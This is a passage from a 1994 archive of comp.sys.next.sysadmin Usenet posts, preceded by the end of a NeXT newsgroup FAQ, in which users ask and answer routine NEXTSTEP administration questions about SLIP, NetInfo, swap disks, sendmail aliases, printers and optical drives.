in rare cases this will spill over into .programmer
or .software.
related Newsgroups
------------------
Comp.Soft-Sys.Nextstep
Like comp.sys.next.software and comp.sys.next.misc combined. Exists
because NeXT is a software-only company now, and comp.soft-sys is
for discussion of software systems with scope similar to NEXTSTEP.
Comp.Lang.Objective-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
Comp.Object
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then
again OOP allows one to be a programmer/philosopher.
(The original Comp.Sys.Next no longer exists--do not attempt to
post to it.)
Exception to the crossposting restrictions: announcements of
usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
-------------------------------------------
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are
now available as a mailing list digest as well.
next-nextstep-d
next-advocacy-d
next-announce-d
next-bugs-d
next-hardware-d
next-marketplace-d
next-misc-d
next-programmer-d
next-software-d
next-sysadmin-d
(For a full description, send mail saying LISTS to
<digestif@antigone.com>).
The subscription syntax is essentially the same as LISTSERV's.
To subscribe, send a message to <digestif@antigone.com> saying:
SUB Listname YourName
Example: SUB next-hardware-d John Doe
The ftp sites
-------------
cs.orst.edu: The main site for North American submissions
nova.cc.purdue.edu: Lots of older stuff, but very short on disk space
ftp.informatik.uni-muenchen.de: In Germany.
terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and
cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group)
ftp.next.com: See the below
ftp.next.com and NextAnswers@next.com
-------------------------------------
From the document 1000_Help from ftp.next.com
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, or you can transfer them by
anonymous ftp.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com.
Files are sent as NeXTmail attachments by default; you can request they be
sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO <your-address>
If you have any problem with the system or suggestions for improvement,
please send mail to NeXTanswers-request@NeXT.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to NeXTanswers-request@NeXT.com.
Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com
Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
From: jewett@itsa.ucsf.edu (Don L. Jewett)
Newsgroups: comp.sys.next.sysadmin
Subject: Additional dialin password protection wanted
Date: 8 Jun 1994 15:39:22 -0700
Organization: UCSF, ITS Computing Facility
Distribution: world
Message-ID: <2t5haq$qvn@itsa.ucsf.edu>
I'd like to have a separate dialin password on the dialin line in additon
to the user's usual password verification. I know this type of thing is
available on SVR4 using /etc/d_passwd, but that's not what I'm using for
dialin. Is something like this available for the NeXT?
I've got a black 040 cube running (yes, we're behind the times) NeXTStep
2.1
Thanx in advance for any info.
From: neuss@igd.fhg.de (Christian Neuss )
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Compiling freeWAIS for NextStep 3.2
Date: 9 Jun 94 12:51:45 GMT
Organization: IGD Darmstadt
Message-ID: <neuss.771166305@budlight>
References: <2sjqhe$rnr@lastactionhero.rs.itd.umich.edu> <2slq69$7b9@controversy.math.lsa.umich.edu>
In article <2sjqhe$rnr@lastactionhero.rs.itd.umich.edu>
briansp@css.itd.umich.edu (Brian W. Spolarich) writes:
> As it appears everyone is thinking about doing these days, I am
> bringing up an HTTP server and I want its contents to be searchable.
> With all of the development going into WAIS and Z39.50, it seems to be a
> logical choice to use WAIS.
Not necessarily :-)
There's an easy to install lightweight alternative called ICE.
Check out http://www.igd.fhg.de/htbin/ice-form.pl for a test ride,
or if you don't have forms (OmniWeb will soon support them
hopefully), use ice-line.pl instead.
The paper we presented at WWW94 can be found at
http://icib.igd.fhg.de/~neuss/w4-main.html.
ICE has been developped on a NeXT BTW :-)))
Have fun!
Chris
--
"I ride a tandem with the random.."
Christian Neuss # Fraunhofer Institute for Computer Graphics
Wilhelminenstr.7 # 64283 Darmstadt # Germany
e-mail: neuss@igd.fhg.de finger: neuss@wildturkey.igd.fhg.de
From: rene@frodo.ped.muni.cz (Rene Michalek)
Newsgroups: comp.sys.next.sysadmin
Subject: driver for SMC elite 8bit
Date: 9 Jun 1994 07:15:00 GMT
Organization: Technical University of Brno, Czech Republic
Message-ID: <2t6fhk$3cc@rhino.cis.vutbr.cz>
On our PC we have NS 3.2 and some problem with ethernet cards too. We have
card WesternDigital 8bit (BNC conection), what is compatible with SMC
Elite 8bit. In NeXTStep package is driver for SMC Elite 16bit only. Is
confusing that if i using this driver is possible connect to Novell Server
but is not possible using TCP/IP connection (telnet, ftp, mail...). Know
anynobody solving of this problem or information of existing driver for
noticed 8 bit cards?
Thank for all informations
------------------------------------------------------------
Rene Michalek
UDTaI pedagogicke fakulty MU
Porici 31
Brno
Czech republic
e-mail : rene@melilot.ped.muni.cz
NeXTmail : rene@frodo.ped.muni.cz
tel : (+42 5) 43321218
fax : (+42 5) 43211217
------------------------------------------------------------
Newsgroups: comp.sys.next.sysadmin
From: fms@chemelex .com (Fred Schenkelberg)
Subject: a slip vs uucp?
Message-ID: <Cr3LIt.1xA@chemelex.com>
Sender: fms@chemelex.com (Fred Schenkelberg)
Organization: Research Group of Chemelex Division of Raychem Corporation
Distribution: ba,na,usa,world
Date: Wed, 8 Jun 1994 21:40:04 GMT
Hi all,
I've currently have a uucp connection with the mail and
news feed, plus a dialup acct. for other internet activities.
I'd like to get a slip account in order to enjoy the various
internet activities with the NeXTstep gui.
But, what's the cost trade offs here? How about other
trade offs between having a uucp and/or slip connection.
Or should I get both a uucp and slip connection? What
works?
---
Fred Schenkelberg
fms@chemelex.com
--
Fred Schenkelberg
Newsgroups: comp.sys.next.sysadmin
From: olebv@nextstat2.dhhalden.no (Ole Bredesen-Vestby)
Subject: Floppy disks
Message-ID: <1994Jun13.125338.17341@dhhalden.no>
Sender: news@dhhalden.no (Network News User)
Organization: Ostfold College
Date: Mon, 13 Jun 1994 12:53:38 GMT
What format is the best to use with nextstep. I have tried both Mac and
Dos, but they don't give more than 1.4Mb. Is there any way to unformat a
Dos disk, or make it a next-disk
-OBV
From: andyc@e-eng.hull.ac.uk (Andrew Carnegie)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Tcsh shell
Date: 13 Jun 1994 14:05:10 GMT
Organization: The University of Hull, UK
Message-ID: <2thp2m$ke3@wimbledon.dcs.hull.ac.uk>
References: <CrA4DI.6C@touga.vd.alphanet.ch>
In article <CrA4DI.6C@touga.vd.alphanet.ch> Jacques Garbi writes:
> Hi,
>
> All my users are using tcsh, root included.
> The problem is that when I log wit a user name and I launch Terminal.app
> and I do a su, su starts with csh. How can I make it always start with
> tcsh ?
>
> Thanks
>
> Jacques Garbi
Start up UserMgr.app, open the user "root" and specify the login shell there.
Its the bottom entry.
Andy
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
From: hill@cpsc.ucalgary.ca (David Hill)
Subject: Re: Printer on Parallel port (NS/I)- any chance now or in the future?
Message-ID: <CrBHJw.Ew8@cpsc.ucalgary.ca>
Sender: news@cpsc.ucalgary.ca (News Manager)
Organization: University of Calgary Computer Science
References: <2tf48j$bc2@crl.crl.com>
Date: Mon, 13 Jun 1994 03:55:08 GMT
In article <2tf48j$bc2@crl.crl.com> cnayak@crl.com (Chiraprakash Nayak) writes:
>Hi;
>
>Any chance of connecting a parallel ps-printer to NS/I now or in the near
>future. Any comments/suggestions?
>
>Thanks a lot.
>Best Regards.
>--chip (cnayak@crl.com)
>
I was able to plug my TI 2106 OmniLaser ps printer directly into the NSFIP
port and it just worked with minimal effort (like selecting a printer).
The 2106 is obsolete and is not level 2 ps, but I am sure that if the 2106
just plugs in and works, others will too.
david
--
david hill: hill@cpsc.ucalgary.ca | Imagination is more
voice: 403-282-6481, fax: 403-282-6778 | important than knowledge.
nextmail: hill@trillium.ab.ca | (Albert Einstein)
From: kampp@informatik.uni-koblenz.de (Ralf Kampp)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Floppy disks
Date: 14 Jun 1994 11:49:04 GMT
Organization: University Koblenz / Germany
Message-ID: <2tk5fg$4jg@newshost.uni-koblenz.de>
References: <1994Jun13.125338.17341@dhhalden.no>
Ole Bredesen-Vestby writes
>What format is the best to use with nextstep. I have tried both Mac and
>Dos, but they don't give more than 1.4Mb. Is there any way to unformat a
>Dos disk, or make it a next-disk
>
>-OBV
Simply insert the disk and press Disk->Initialize... in the Workspace !
Newsgroups: comp.sys.next.sysadmin
From: henry@trilithon.com (Henry McGilton)
Subject: NetInfo Server Doesn't See Other Machine
Message-ID: <1994Jun18.190132.3920@trilithon.com>
Sender: henry@trilithon.com
Organization: Trilithon Software
Date: Sat, 18 Jun 1994 19:01:32 GMT
A short while ago, the Ethernet controller in my Intel box [megalith]
died for no apparent reason. Smelled like Transceiver problems.
So, I just installed a new Ethernet controller. Booted megalith.
It comes up, asks me to name the machine, I name it megalith, and
up it comes. Cool -- It Just Works. Kind of.
megalith has /Users mounted from trilithon [my NetInfo server].
megalith has /Users mounted from sarsen [my other NeXT system].
sarsen has /Users mounted from megalith.
All Cool So Far.
Now I want to mount megalith:/Users on trilithon
I also want to mount trilithon:/LocalLibrary on megalith
trilithon insists that it ``Can't Browse the /megalith domain'',
whatever that means. I can ping megalith and get a response.
Somewhere, I suspect that megalith's old EtherNet address is still
lying around in some secret file that I don't know about. If I
look in HostManager, everything looks OK. The EtherNet address
that megalith supplied at configure time is correctly set in the
HostManager data.
Any Ideas Gratefully Acknowledged. I Love NetInfo, sometimes.
........ Henry
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From: csaldanh@mae.carleton.ca (Chris Saldanha)
Subject: Re: Black Hardware Hell
Message-ID: <CrKCwM.A90@cunews.carleton.ca>
Sender: news@cunews.carleton.ca (News Administrator)
Organization: Carleton University
References: <Cr3tw6.DnM@cunews.carleton.ca> <neuss.771611328@budlight> <KAOKI.94Jun15141434@ps2.ps1.yukawa.kyoto-u.ac.jp>
Date: Fri, 17 Jun 1994 22:53:09 GMT
Kenichiro Aoki (kaoki@ps1.yukawa.kyoto-u.ac.jp) wrote:
: It's not clear from these posts, but are you using turbo
: machines or non-turbo? I believe non-turbo NeXT's canNOT boot
: from CDROM. That's why they give you a floppy with the CD when
: you upgrade. Perhaps irrelevant, but just in case.
They give you the floppy, so that the non-technical user does not need to
do typey things in the ROM monitor. I have used many many NeXTStations
and Cubes. To my knowledge they all could boot from the CD as if it were
any other SCSI disk.
--Chris
Chris Saldanha --------------------------------------
Carleton University (Comp. Sci) |"The eternal silence of these infinite|
chris@computerActive.on.ca (NeXTMail) | spaces terrifies me." -Blaise Pascal|
csaldanh@mae.carleton.ca (NeXT/MIME) ------------------:-o-----------------
Newsgroups: comp.sys.next.sysadmin
From: csaldanh@mae.carleton.ca (Chris Saldanha)
Subject: Re: Black Hardware Hell
Message-ID: <CrKD2q.AIL@cunews.carleton.ca>
Sender: news@cunews.carleton.ca (News Administrator)
Organization: Carleton University
References: <Cr3tw6.DnM@cunews.carleton.ca> <neuss.771611328@budlight> <KAOKI.94Jun16215204@ps1.ps1.yukawa.kyoto-u.ac.jp>
Date: Fri, 17 Jun 1994 22:56:50 GMT
Kenichiro Aoki (kaoki@ps1.yukawa.kyoto-u.ac.jp) wrote:
: Yup. I should have said *older* non-turbo's can't boot from
: the CDROM. Just to clear up the potential confusion, 040 ROM
: v58-v66 and of course the older 030 machines cannot, according
: to the FAQ. ROM v70-v74 are OK. I tend to forget that NeXT was
: selling non-turbo's even after turbos came out.
: Thanks for reminding me.
Ah! So I am stupid! All of our machines around are recent, so maybe I
haven't hit that problem before. I used to NetBoot any machine that had a
toasted hard disk and rebuild from there...
--Chris
Chris Saldanha --------------------------------------
Carleton University (Comp. Sci) |"The eternal silence of these infinite|
chris@computerActive.on.ca (NeXTMail) | spaces terrifies me." -Blaise Pascal|
csaldanh@mae.carleton.ca (NeXT/MIME) ------------------:-o-----------------
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
From: csaldanh@mae.carleton.ca (Chris Saldanha)
Subject: Re: NEC 3Xe CD-ROM and NeXTSTEP
Message-ID: <CrKDL6.BMq@cunews.carleton.ca>
Followup-To: comp.sys.next.sysadmin,comp.sys.next.hardware
Sender: news@cunews.carleton.ca (News Administrator)
Organization: Carleton University
References: <2tl5qh$9va@s.ms.uky.edu> <1994Jun15.081313.21516@cc.usu.edu>
Date: Fri, 17 Jun 1994 23:07:54 GMT
slxn8@cc.usu.edu wrote:
: In article <2tl5qh$9va@s.ms.uky.edu>, aaronh@ms.uky.edu (Aaron Herskowitz) writes:
: > I am interested in purchasing an NEC 3Xe CD-ROM drive for my
: > NeXTstation, but I am unsure if it is compatible.
: >
: > Has anyone used an NEC 3X drive with NeXTSTEP (white or black
: > hardware)?!?!
: >
: > Thanks in advance for any info anyone can provide.
: I have a NEC 3Xi. Everything seemed to work O.K. My NEXTSTEP install on white
: hardware (NEC Image P60) worked. But when I tried to install the developer
: stuff, I would always get a CRC error during the Package's install. It would
: occur at random places in the install. I have talked to some other people on
: the Net, and they have experienced similar problems. I ended up having to use
: my ol' trusty black NeXT drive to install the stuff.
My 3X external drive is plugged into my NeXTStation at this moment. It has
and does work fine (fast!!!) on any black hardware that I've ever tried.
The problem, for me, lies in Intel hardware. It is unreliable on the
Intel GX/Pro, using the Adaptec 6X60 chipset driver. I have heard this
from several sources, and it has always been attributed to NeXT's
as-yet-never-released driver.
When using a DPT 2022 or Adaptec 1542CF, I have no trouble with the CD drive.
--Chris
Chris Saldanha --------------------------------------
Carleton University (Comp. Sci) |"The eternal silence of these infinite|
chris@computerActive.on.ca (NeXTMail) | spaces terrifies me." -Blaise Pascal|
csaldanh@mae.carleton.ca (NeXT/MIME) ------------------:-o-----------------
From: work@dannug.dk (Michael Hallin)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Swap Disks
Date: 17 Jun 1994 21:46:03 GMT
Organization: Danish NeXT User Group
Message-ID: <2tt5ir$48m@machthenext.dannug.dk>
References: <2tsjjc$9h3@pendragon.jsc.nasa.gov>
In article <2tsjjc$9h3@pendragon.jsc.nasa.gov> alan@es4spare.jsc.nasa.gov
(Alan A. Barhorst) writes:
|>Hello,
|> I was hoping some kind soul would tell me the procedure for
|>setting up a 100MB drive as a swapdisk.
Easy. Just format it, with the name swapdisk (all lowercase), and reboot,
and the system will automatically use it for swapping. If you then want to
only use this as swap, and not the swapfile on bootdisk as well, you need
to edit rc.swap.
|>I would like to reformat the drive with larger sectors
|>(1024?) because I understand the drive will be more efficient and will
|>format more of the space.
Hmmmmm. I m using the original 100MB Quantum as swapdisk, and I tried just
about anything to change the sectorsize to 1024, even the newly released
sdformat, and nothing works, actually sdformat reports that this drive
probably can t support 1024 sectorsize, and can t be formatting using that
size.
|>I need complete info on using the unix ``disk'' command (I think) and
|>where to mount (I think it goes in /private/swapdisk) but I'm not
|>certain. Thank you for your patience and generous response.
You don t need to use the disk command to do just this, you can do it with
regular Workspace Initialize Disk command, as long as you name it swapdisk
it will be used.
If you want to tangle with the disk command, this is what to do:
1. type: disk /dev/devicename, e.g. rsd3a for the device, which is
numbered sd3 in your bootup...
2. when in the disk-utility, type i (for initialize), and it will
prompt you to confirm, then for your hostname, the diskname,
which then is swapdisk, and then it will ask you, if the
bootfile should be the default standalone, and just answer yes,
and that s it.
It only takes it about 20-25 seconds to complete, and when finished, type
q to exit the disk-utility, and again, you need to reboot for the changes
to take effect...
Be aware that you don t type in a wrong SCSIid, as the disk-utility is
very destructable!
|>BTW: What is the memory looking white slot near the back of the
|>motherboard? VRAM?
Sorry, don t know that one, but probably is, yes.
If you need more help, let me know (use email to avoid waste of bandwidth)
Best
Michael
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From: gpopick@fnbc.com (Glen Popick)
Subject: Memory Tests for Next Mono Turbo
Message-ID: <1994Jun17.193201.29959@fnbc.com>
Sender: news@fnbc.com
Organization: First National Bank Of Chicago, Chicago IL, USA
Date: Fri, 17 Jun 94 19:32:01 GMT
Hello,
I am looking for a way to test the memory
in a Next Mono Turbo. The machine is configured
with 2 8Meg simms and 2 32Meg simms.
I appears that one of the 32 Meg simms
is bad but it passes the test in the boot rom.
Any help would be appreciated.
Glen
gpopick@fnbc.com
Newsgroups: comp.sys.next.sysadmin
From: csaldanh@mae.carleton.ca (Chris Saldanha)
Subject: Re: ppd file for Lexmark 4039
Message-ID: <CrKE51.D1D@cunews.carleton.ca>
Sender: news@cunews.carleton.ca (News Administrator)
Organization: Carleton University
References: <CrI3CA.8FD@txnews.amd.com>
Distribution: usa
Date: Fri, 17 Jun 1994 23:19:48 GMT
Ron Pomeroy x(Coop) (rpomeroy@aunext1.amd.com) wrote:
: Does anyone know where I can find a PPD file for a Lexmark 4039 printer ?
: Thanks in Advance.
You might try ftp.adobe.com:/pub/adobe, which has many many many many PPD
files.
Alternatively, you could try emailing ps-file-server@mv.us.adobe.com with
the message body of "index PPDFiles". It also has a "help" command.
Separate command on multiple lines.
--Chris
Chris Saldanha --------------------------------------
Carleton University (Comp. Sci) |"The eternal silence of these infinite|
chris@computerActive.on.ca (NeXTMail) | spaces terrifies me." -Blaise Pascal|
csaldanh@mae.carleton.ca (NeXT/MIME) ------------------:-o-----------------
Newsgroups: comp.sys.next.sysadmin
From: Jacques Garbi
Subject: Re: Tcsh shell
Message-ID: <CrI3L0.14D@touga.vd.alphanet.ch>
Sender: jacques@touga.vd.alphanet.ch (Jacques Garbi)
Organization: Touga Management SA
References: <CrDEpF.Aus@number_one.apana.org.au>
Date: Thu, 16 Jun 1994 17:36:36 GMT
Thanks to everyone who helped me !!
I had many different options that I was able to choose from.
Thanks to you all
Jacques
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Av. Davel 18
1004 Lausanne
Newsgroups: comp.sys.next.sysadmin
Organization: Antigone Press gateway, San Francisco
Return-Path: <valmar!sas@ucbvax.Berkeley.EDU>
Message-ID: <m0qE9zx-0001xsC@valmar>
Date: Thu, 16 Jun 94 00:28 CDT
From: sas@valmar.netcom.com (Shawn Alva Stone)
Subject: tip script files
Hello all!
Does anyone know if there exists a script language for use
with tip? I enjoy using the script language available for
kermit, but I don't think kermit will allow me to
download/upload using the zmodem protocol. (Will it?)
Thanks in advance for any help.
---
Ciao,
Sas
---------------------------------------------------------
Shawn A. Stone <sas@halite.uta.edu>
Fort Worth, TX (NeXT Mail welcome.)
"Although golf was originally restricted to wealthy,
overweight Protestants, today it's open to anybody
who owns hideous clothing."
- Dave Barry
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From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: mail aliases
Date: 16 Jun 1994 14:58:45 GMT
Organization: me organized? That's a joke!
Message-ID: <ROBERT.94Jun16155846@steffi.demon.co.uk>
References: <2socfs$aq2@gap.cco.caltech.edu> <1994Jun6.155123.1769@afs.com>
To: Michael_Pizolato@afs.com (Michael Pizolato)
In-reply-to: Michael_Pizolato@afs.com's message of Mon, 6 Jun 1994 15:51:23 GMT
<Michael_Pizolato@afs.com> writes:
>Mark Adler writes
>>
>>Thanks to Sean Hill (Sean.Hill or Sean_Hill or shill or ...) who already
>>had this working for helping me figure it out. It turns out that while
>>Mark_Adler works as an alias (for any case variation like mark_adler,
>>MARK_ADLER, etc.), Mark.Adler does not. However mark.adler does! So,
>>now that I changed Mark.Adler to mark.adler, it now works not only for
>>mark.adler, but also for all case variations (like Mark.Adler, etc.).
>>
>>Don't ask me why Mark_Adler works, Mark.Adler doesn't, and mark.adler
>>does. That's just the way it is.
>Whenever I add a new user to our system, I try to set up aliases
>for every likely e-mail address that might come in for that user
>(variations on names, misspellings, nicknames, common username
>formats that don't match the actual one, etc.). When I create a
>set of these aliases, I always capitalize the first entry in the
>name property (so it looks pretty in the aliases browser in the
>domain window :-). I immediately follow this with a lowercase
>version of the first entry, and all following entries are always
>lowercase only. I forget where I read this, but it has to be this
>way - only the lowercase ones work, and if you capitalize any of
>them there has to be a corresponding lowercase version or the
>capitalized one won't work (except maybe on an exact, case-sensitive
>match, but I'm not sure about that). Matches against the lowercase
>versions are done case-insensitively, as Mark points out.
Isn't this a sendmail issue?
Do you have F=.*u.* (ie. a 'u' in there somewhere?)for your local
mailer?
If you don't _everything_ is converted to lowercase.
Here's the bit from my sendmail.cf... sendmail V8..
##################################################
### Local and Program Mailer specification ###
##################################################
##### @(#)local.m4 8.6 (Berkeley) 10/24/93 #####
Mlocal, P=/usr/local/bin/procmail, F=lsDFMuShPfrmn, S=10, R=20/40,
A=/usr/local/bin/procmail -a $h -d $u
Mprog, P=/bin/sh, F=lsDFMeuP, S=10, R=20/40, D=$z:/,
A=sh -c $u
--
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From: jehu@jehu.async.vt.edu (john stanhope)
Newsgroups: comp.sys.next.sysadmin
Subject: PNI Info
Date: 17 Jun 1994 02:51:38 GMT
Organization: Virginia Tech, Blacksburg, Virginia
Distribution: world
Message-ID: <2tr33q$6ps@solaris.cc.vt.edu>
Keywords: PNI, SLIP, config
I recently sent out a bunch of email asking people how to get slip
working, but in the mean time I managed to get things up on my own
and I thought I would share my expierence with the rest of you.
The first problem I had was figuring out what I needed to do with
HostManager et al. As it turns out nothing, all I did was change my
host name in /etc/hostconfig to the name given to me by the school.
I am not even sure if this is necesarry but I'm not going to noodle
with it too much since it works already.
Next I installed the PNI package. I was worried about the additions
to the rc.local file ( I don't want slip starting up during a boot )
so I commented it out. I use the following script posted by some
other slippers
====== begin bin/slipup ======
#!/bin/sh
#slipup - bring up the slip connection
/etc/pni/pnid -C -c -n pni0 -f /etc/pni/config/pni0.config &
====== end slipup ======
====== begin bin/slipdown ======
#!/bin/sh
#slipdown - bring down the slip connection
/etc/pni/bin/pnistat -c down pni0
ifconfig pni0 down
====== end slipdown ======
Then I copied the file /etc/pni/SAMPLES/pniX.config.cslip to
/etc/pni/config/pni0.config and entered the relavent data. Then
reboot and that should be it. You'll need to run the slipup
as root.
If you have any question you can email, I know I was real worried
about hosing my machine during the setup. If email bounces from
jehu@jehu.async.vt.edu you can try jds@aplexus.jhuapl.edu. Please
no NeXTMAIL at jds@aplexus.jhuapl.edu
From: jweiss@casbah.acns.nwu.edu (Jerry Weiss)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Single NetInfo Server for multiple SubNets??
Date: 13 Jun 1994 03:10:35 GMT
Organization: Northwestern University, Evanston IL USA
Message-ID: <2tginb$5q@news.acns.nwu.edu>
References: <Cr772E.DvM@world.std.com>
In article <Cr772E.DvM@world.std.com>, Ed Barker <ebarker@world.std.com> wrote:
>Due to recent changes in our organization, some of our
>machines runing NS have been moved to a different subnet
>than their perent NetInfo Server. Therefore, they can't
>get thier IP Address, since the Netinfo bind request wont
>span subnets. For various reasons, I can't set up a
>multi-level NetInfo domain.
>
>I can still access the machines on the other subnet by
>booting as a stand alone machine (ie telnet, mount file systems)
>
>However, it would be nice to be able to access other admin
>info stored in the NetInfo database. It is dissapoiting
>that I must lose out on NetInfo just cause I can't obtain
>my IP address from the NetInfo server. Is there any way to
>have a host assign it's own IP address and then bind to the
>parent? Does this even make sense?
>
Yes it does make sense. What I had to do was make an entry
in the machine located remotely from the server to help it
find the machine with the Netinfo database.
meena> niutil -read . /machines/remote_broadcasthost
name: remote_broadcasthost
ip_address: a.b.c.d
serves: ../network
I put in a fully qualified IP address, but I think something like
a.b.c.255 would let it find any Netinfo Server on that subnet.
The name remote_broadcasthost isn't significant, it might be clearer to
call it remote_netinfoserver. The property serves: is.
Also make sure that in the / and local domains the values for trusted_networks
(if you have such an entry) have entries for their own and each others
subnets.
This is the basic's. There's probably more sophisticated advice and
explanation around the net. I just figured this stuff out last friday
with some help from others.
Jerry
--
Jerry S. Weiss
j-weiss@nwu.edu
Dept. Medicine, Northwestern Univ. Medical School, Chicago, Illinois
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Newsgroups: comp.sys.next.sysadmin
From: thomas@netcom.com (Tom Thomas)
Subject: NeXT <--> amiga help!!
Message-ID: <thomasCrBH8D.5pG@netcom.com>
Organization: NETCOM On-line Communication Services (408 261-4700 guest)
Date: Mon, 13 Jun 1994 03:48:13 GMT
I am trying to tie an amiga 3000 with a commodore a2065 ethernet card to
my NS 3.2 intel box.
The problem I am having is that when I try to tell the host manager that
the amiga's ethernet address is 00:FFFFFF80:10:00:0F:FFFFFFD1, it tells me
that the afore mentioned address is not valid...
This is the actual address of the ethernet card. That amiga ethernet card
has been networked to an IBM RS/6000 and Sun sparc 10, using that address.
What am I doing wrong?
Anyone? Anyone? Bueller?
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NeXT <--> amiga help!!
Date: 13 Jun 1994 04:20:16 GMT
Organization: University of Illinois at Urbana
Message-ID: <2tgmq0$1ce@vixen.cso.uiuc.edu>
References: <thomasCrBH8D.5pG@netcom.com>
thomas@netcom.com (Tom Thomas) writes:
>I am trying to tie an amiga 3000 with a commodore a2065 ethernet card to
>my NS 3.2 intel box.
>The problem I am having is that when I try to tell the host manager that
>the amiga's ethernet address is 00:FFFFFF80:10:00:0F:FFFFFFD1, it tells me
>that the afore mentioned address is not valid...
>This is the actual address of the ethernet card. That amiga ethernet card
>has been networked to an IBM RS/6000 and Sun sparc 10, using that address.
Unless you plan to use the BOOTP protocol to supply the Amiga with
its IP address, there is no need to tell the NEXTSTEP machine the
Amiga's hardware ethernet address. Just fill in the hostname and IP
address fields. Alternatively, you can say:
SU_machine# niload hosts .
192.42.172.2 amiga
<ctrl-d>
If you are planning to use BOOTP, you will have to find out the
Amiga's ethernet address is, because what you wrote above cannot be
it ... a hardware ethernet address is 48 bits. (6 two-hex-digit
strings, separated by colons). Maybe it's 00:80:10:00:0f:d1 ??
00:80:10 is the beginning stanza for Commodore products.
--
David Lemson
University of Illinois Computing & Comm Services Office System Administrator
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
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From: Jacques Garbi
Subject: Tcsh shell
Message-ID: <CrA4DI.6C@touga.vd.alphanet.ch>
Sender: jacques@touga.vd.alphanet.ch (Jacques Garbi)
Organization: Touga Management SA
Date: Sun, 12 Jun 1994 10:12:54 GMT
Hi,
All my users are using tcsh, root included.
The problem is that when I log wit a user name and I launch Terminal.app
and I do a su, su starts with csh. How can I make it always start with
tcsh ?
Thanks
Jacques Garbi
--
-------------------------------------
Jacques GARBI
Av. Davel 18
1004 Lausanne
From: burton@het.brown.edu (Joshua W. Burton)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: panic: (Cpu 0) od: empty q. What to do??
Date: 13 Jun 1994 05:27:25 GMT
Organization: Brown University
Message-ID: <2tgqnt$d4c@cat.cis.Brown.EDU>
Yesterday I posted a note to csn.sysadmin about my problem formatting MO
disks on my cube. I now believe it is an intermittent hardware problem,
and have been told that the symptom has turned up before in this forum.
If anyone remembers what causes the problem, and has any advice, I'd be
most grateful to hear it.
Briefly: my optical drive works fine when reading fully initialized disks.
But when I insert a blank virgin disk, it halts in the middle of the
initial low-level read, getting the disk label information but then
freezing completely. Whatever process is looking for the disk then
becomes unkillable, since it is waiting for the end of a block read
(which never comes) and so never receives 'kill' or 'kill -9'. Since
the process can't be halted, there is no clean way to shut down the
system, and I have to break out to the ROM monitor and come down hard,
then reboot with a full fsck of my hard drive after ejecting the oppy.
Ideas that DON'T work: Just insert the oppy for formatting---this
hangs 'autodiskmount'. Run 'disk -i /dev/od0a'---this prompts for the
disk, then hangs. Try 'mount'ing the disk manually---prompts for the
disk; gets stuck at the same place. And if I cat /foo/junk > /dev/rod0a,
again the alert panel comes up for disk insertion, and the drive then
reads two lines of label data and freezes. In short, nothing that
accesses the device file is going to work, because the problem occurs
during the process of having the disk recognized.
The big clue is the following cryptic message that I get when I try to
reboot the system without removing the offending disk:
panic: (Cpu 0) od: empty q
Two people who have responded to my initial post tell me that this is
a known hardware problem, and that it often arises from a loose cable
in or connected to the drive. For what it's worth, I just went into the
cube, cleaned the filter (while I was there), removed and carefully
replaced the oppy data cable on both the motherboard and the MO drive,
jiggled the drive power cable a bit (it seemed secure, so I didn't pull
it) and put Humpty Dumpty together again. Result: drive still works
for formatted disks; still fails with 'empty q' when presented with
virgin disks. Could some kind soul who remembers what this is all about
